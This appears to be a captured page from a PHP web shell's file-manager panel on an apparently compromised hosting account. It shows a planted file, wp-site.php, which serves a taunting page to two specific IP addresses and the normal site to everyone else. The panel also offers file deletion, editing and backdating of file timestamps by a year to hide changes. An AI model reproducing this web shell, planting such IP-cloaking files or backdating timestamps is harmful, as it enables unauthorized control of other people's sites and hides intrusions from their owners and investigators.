文件操作 - wp-site.php
返回文件管理
返回主菜单
删除本文件
文件: /home/acihmzbq/logs/wp-site.php
编辑文件内容
<?php $blocked_ips = ['77.246.104.90', '46.149.74.232']; $ip = $_SERVER['REMOTE_ADDR'] ?? ''; // Если IP в списке — показываем страницу if (in_array($ip, $blocked_ips)) { header('Content-Type: text/html; charset=UTF-8'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Blocked</title> <style> body { font-family: Arial, sans-serif; background-color: #f0f0f0; text-align: center; padding: 50px; margin: 0; } h1 { color: #333; font-size: 2em; } p { color: #555; font-size: 1.2em; } .content { background-color: #ffffff; padding: 20px; border-radius: 10px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); display: inline-block; max-width: 80%; } img { max-width: 150px; margin-top: 20px; } </style> </head> <body> <div class="content"> <h1>Oh, you got scared!</h1> <p>Don't worry, I am your friend. Come sit next to me.</p> <p>We will stare into each other's eyes until someone gets tired.</p> <img src="https://www.holzblaeser.com/wp-content/plugins/wpforms-lite/assets/images/sullie.png" alt="Sullie the Mascot"> </div> </body> </html> <?php exit; } // Если IP не в списке — включаем основной код сайта include('index.php');
修改文件时间
将文件时间修改为当前时间的前一年
删除文件